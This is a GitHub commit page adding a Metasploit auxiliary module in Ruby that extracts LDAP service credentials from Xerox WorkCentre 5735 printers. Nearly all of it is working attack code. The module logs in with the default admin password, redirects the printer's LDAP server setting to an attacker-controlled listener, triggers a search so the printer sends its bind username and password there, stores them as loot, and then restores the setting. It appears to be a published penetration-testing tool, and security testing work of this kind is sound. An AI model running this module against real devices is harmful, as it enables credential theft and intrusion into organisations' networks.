Skip to content

Commit 92ad2c4

Browse files
committed
Land rapid7#4081 - Xerox workcentre 5735 LDAP service redential extractor
2 parents 912f6c8 + 470a067 commit 92ad2c4

File tree

1 file changed

+305
-0
lines changed

1 file changed

+305
-0
lines changed
Lines changed: 305 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,305 @@
1+
#
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Remote::TcpServer
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor',
17+
'Description' => %{
18+
This module extract the printers LDAP user and password from Xerox workcentre 5735.
19+
},
20+
'Author' =>
21+
[
22+
'Deral "Percentx" Heiland',
23+
'Pete "Bokojan" Arzamendi'
24+
],
25+
'License' => MSF_LICENSE
26+
))
27+
28+
register_options(
29+
[
30+
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
31+
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
32+
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
33+
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),
34+
OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]),
35+
OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.'])
36+
], self.class)
37+
end
38+
39+
def run
40+
print_status("#{peer} - Attempting to extract LDAP username and password...")
41+
42+
@auth_cookie = default_page
43+
if @auth_cookie.blank?
44+
print_status("#{peer} - Unable to get authentication cookie from #{rhost}")
45+
return
46+
end
47+
48+
status = login
49+
return unless status
50+
51+
status = ldap_server_info
52+
return unless status
53+
54+
status = update_ldap_server
55+
return unless status
56+
57+
start_listener
58+
unless @data
59+
print_error("#{peer} - Failed to start listiner or the printer did not send us the creds. :(")
60+
status = restore_ldap_server
61+
unless status
62+
print_error("#{peer} - Failed to restore old LDAP server. Please manually restore")
63+
end
64+
return
65+
end
66+
67+
status = restore_ldap_server
68+
return unless status
69+
70+
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten
71+
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"
72+
73+
# Woot we got creds so lets save them.#
74+
print_good("#{peer} - The following creds were capured: #{ldap_creds}")
75+
loot_name = 'ldap.cp.creds'
76+
loot_type = 'text/plain'
77+
loot_filename = 'ldap-creds.text'
78+
loot_desc = 'LDAP Pass-back Harvester'
79+
p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)
80+
print_status("#{peer} - Credentials saved in: #{p}")
81+
82+
register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])
83+
end
84+
85+
def default_page
86+
page = '/header.php?tab=status'
87+
method = 'GET'
88+
res = make_request(page, method, '')
89+
if res.blank? || res.code != 200
90+
print_error("#{peer} - Failed to connect to #{rhost}. Please check the printers IP address.")
91+
return ''
92+
end
93+
res.get_cookies
94+
end
95+
96+
def login
97+
login_page = '/userpost/xerox.set'
98+
login_vars = {
99+
'_fun_function' => 'HTTP_Authenticate_fn',
100+
'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php',
101+
'webUsername' => 'admin',
102+
'webPassword' => datastore['PASSWORD'],
103+
'frmaltDomain' => 'default'
104+
}
105+
login_post_data = []
106+
login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" }
107+
login_post_data *= '&'
108+
method = 'POST'
109+
110+
res = make_request(login_page, method, login_post_data)
111+
if res.blank? || res.code != 200
112+
print_error("#{peer} - Failed to login. Please check the password for the Administrator account")
113+
return nil
114+
end
115+
res.code
116+
end
117+
118+
def ldap_server_info
119+
ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig'
120+
method = 'GET'
121+
res = make_request(ldap_info_page, method, '')
122+
html_body = ::Nokogiri::HTML(res.body)
123+
ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text
124+
ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten
125+
ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text
126+
ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten
127+
@ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"
128+
@ldap_port = ldap_port_number[0]
129+
print_status("#{peer} - LDAP server: #{@ldap_server}")
130+
unless res.code == 200 || res.blank?
131+
print_error("#{peer} - Failed to get LDAP data.")
132+
return nil
133+
end
134+
res.code
135+
end
136+
137+
def update_ldap_server
138+
ldap_update_page = '/dummypost/xerox.set'
139+
ldap_update_vars = {
140+
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
141+
'NextPage' => '/ldap/index.php?ldapindex=default',
142+
'from' =>'ldapConfig',
143+
'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}",
144+
'ldap.maxSearchResults' => '25',
145+
'ldap.searchTime' => '30',
146+
}
147+
ldap_update_post = []
148+
ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" }
149+
ldap_update_post *= '&'
150+
method = 'POST'
151+
152+
print_status("#{peer} - Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
153+
res = make_request(ldap_update_page, method, ldap_update_post)
154+
if res.blank? || res.code != 200
155+
print_error("#{peer} - Failed to update LDAP server. Please check the host: #{rhost}")
156+
return nil
157+
end
158+
res.code
159+
end
160+
161+
def trigger_ldap_request
162+
ldap_trigger_page = '/userpost/xerox.set'
163+
ldap_trigger_vars = {
164+
'nameSchema'=>'givenName',
165+
'emailSchema'=>'mail',
166+
'phoneSchema'=>'telephoneNumber',
167+
'postalSchema'=>'postalAddress',
168+
'mailstopSchema'=>'l',
169+
'citySchema'=>'physicalDeliveryOfficeName',
170+
'stateSchema'=>'st',
171+
'zipCodeSchema'=>'postalcode',
172+
'countrySchema'=>'co',
173+
'faxSchema'=>'facsimileTelephoneNumber',
174+
'homeSchema'=>'homeDirectory',
175+
'memberSchema'=>'memberOf',
176+
'uidSchema'=>'uid',
177+
'ldapSearchName'=>'test',
178+
'ldapServerIndex'=>'default',
179+
'_fun_function'=>'HTTP_LDAP_Search_fn',
180+
'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
181+
}
182+
ldap_trigger_post = []
183+
ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" }
184+
ldap_trigger_post *= '&'
185+
method = 'POST'
186+
187+
print_status("#{peer} - Triggering LDAP reqeust")
188+
res = make_request(ldap_trigger_page, method, ldap_trigger_post)
189+
res.code
190+
end
191+
192+
def start_listener
193+
server_timeout = datastore['TCPDELAY'].to_i
194+
begin
195+
print_status('Service running. Waiting for connection')
196+
Timeout.timeout(server_timeout) do
197+
exploit
198+
end
199+
rescue Timeout::Error
200+
return
201+
end
202+
end
203+
204+
def primer
205+
trigger_ldap_request
206+
end
207+
208+
def on_client_connect(client)
209+
on_client_data(client)
210+
end
211+
212+
def on_client_data(client)
213+
@data = client.get_once
214+
client.stop
215+
end
216+
217+
def restore_ldap_server
218+
ldap_restore_page = '/dummypost/xerox.set'
219+
ldap_restore_vars = {
220+
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
221+
'NextPage' => '/ldap/index.php?ldapaction=add',
222+
'ldapindex' => 'default&from=ldapConfig',
223+
'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}",
224+
'ldap.maxSearchResults' => '25',
225+
'ldap.searchTime' => '30',
226+
'ldap.search.uid' => 'uid',
227+
'ldap.search.name' => 'givenName',
228+
'ldap.search.email' => 'mail',
229+
'ldap.search.phone' => 'telephoneNumber',
230+
'ldap.search.postal' => 'postalAddress',
231+
'ldap.search.mailstop' => 'l',
232+
'ldap.search.city' => 'physicalDeliveryOfficeName',
233+
'ldap.search.state' => 'st',
234+
'ldap.search.zipcode' => 'postalcode',
235+
'ldap.search.country' => 'co',
236+
'ldap.search.ifax' => 'No Mappings Available',
237+
'ldap.search.faxNum' => 'facsimileTelephoneNumber',
238+
'ldap.search.home' => 'homeDirectory',
239+
'ldap.search.membership' => 'memberOf'
240+
}
241+
ldap_restore_post = []
242+
ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" }
243+
ldap_restore_post *= '&'
244+
method = 'POST'
245+
246+
print_status("#{peer} - Restoring LDAP server: #{@ldap_server}")
247+
res = make_request(ldap_restore_page, method, ldap_restore_post)
248+
if res.blank? || res.code != 200
249+
print_error("#{peer} - Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
250+
return nil
251+
end
252+
res.code
253+
end
254+
255+
def make_request(page, method, post_data)
256+
res = nil
257+
258+
begin
259+
res = send_request_cgi(
260+
{
261+
'uri' => page,
262+
'method' => method,
263+
'cookie' => @auth_cookie,
264+
'data' => post_data
265+
}, datastore['TIMEOUT'].to_i)
266+
267+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
268+
print_error("#{peer} - Connection failed.")
269+
end
270+
271+
res
272+
end
273+
274+
def register_creds(service_name, remote_host, remote_port, username, password)
275+
credential_data = {
276+
origin_type: :service,
277+
module_fullname: self.fullname,
278+
workspace_id: myworkspace.id,
279+
private_data: password,
280+
private_type: :password,
281+
username: username
282+
}
283+
284+
service_data = {
285+
address: remote_host,
286+
port: remote_port,
287+
service_name: service_name,
288+
protocol: 'tcp',
289+
workspace_id: myworkspace_id
290+
}
291+
292+
credential_data.merge!(service_data)
293+
credential_core = create_credential(credential_data)
294+
295+
login_data = {
296+
core: credential_core,
297+
status: Metasploit::Model::Login::Status::UNTRIED,
298+
workspace_id: myworkspace_id
299+
}
300+
301+
login_data.merge!(service_data)
302+
create_credential_login(login_data)
303+
304+
end
305+
end

0 commit comments

Comments
 (0)